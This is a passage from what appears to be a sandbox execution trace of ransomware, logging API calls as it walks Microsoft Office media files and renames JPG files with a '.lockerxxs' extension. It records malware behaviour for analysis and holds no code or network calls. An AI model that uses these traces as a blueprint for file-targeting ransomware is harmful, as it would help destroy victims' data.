ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0061.742] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0061.742] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0061.742] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0061.742] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0061.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0284916.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0284916.jpg.lockerxxs")) returned 1 [0061.747] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x3000003, dwReserved1=0x4f8120, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0061.747] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0061.747] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0061.747] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0061.747] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0061.747] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0061.748] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0061.749] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0061.750] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0061.750] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0061.750] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0061.750] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0061.750] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0061.750] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0061.751] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0061.751] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0061.751] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0061.751] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0061.751] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0061.751] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0061.752] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0061.752] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0061.752] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0061.752] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0061.752] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0061.752] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0061.753] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0061.753] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0061.756] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.lockerxxs" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.lockerxxs")) returned 1 [0061.758] FindNextFileA (in: hFindFile=0x4f8198, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x33a69b00, ftLastWriteTime.dwHighDateTime=0x1bf4b65, nFileSizeHigh=0x0, nFileSizeLow=0x25c1, dwReserved0=0x3000003, dwReserved1=0x4f8120, cFileName="J0302953.JPG", cAlternateFileName="")) returned 1 [0061.761] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft 